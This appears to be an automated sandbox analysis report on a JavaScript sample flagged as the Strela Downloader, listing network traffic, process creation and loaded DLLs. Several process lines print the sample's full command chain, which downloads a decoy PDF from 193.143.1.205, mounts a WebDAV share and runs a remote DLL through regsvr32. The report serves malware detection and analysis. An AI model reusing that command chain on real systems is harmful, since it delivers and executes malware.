HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1554239038.0000023BA1045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1627156843.0000028B9BE78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1627156843.0000028B9BEAD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1627156843.0000028B9BECB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.2859741072.000001BC7EC0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1637575360.000001BC7EE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6032, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 42173378525889.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7100:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2ad1c53.i2k.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2304 --field-trial-handle=1644,i,4730194288030749794,8526984683498079555,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2304 --field-trial-handle=1644,i,4730194288030749794,8526984683498079555,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
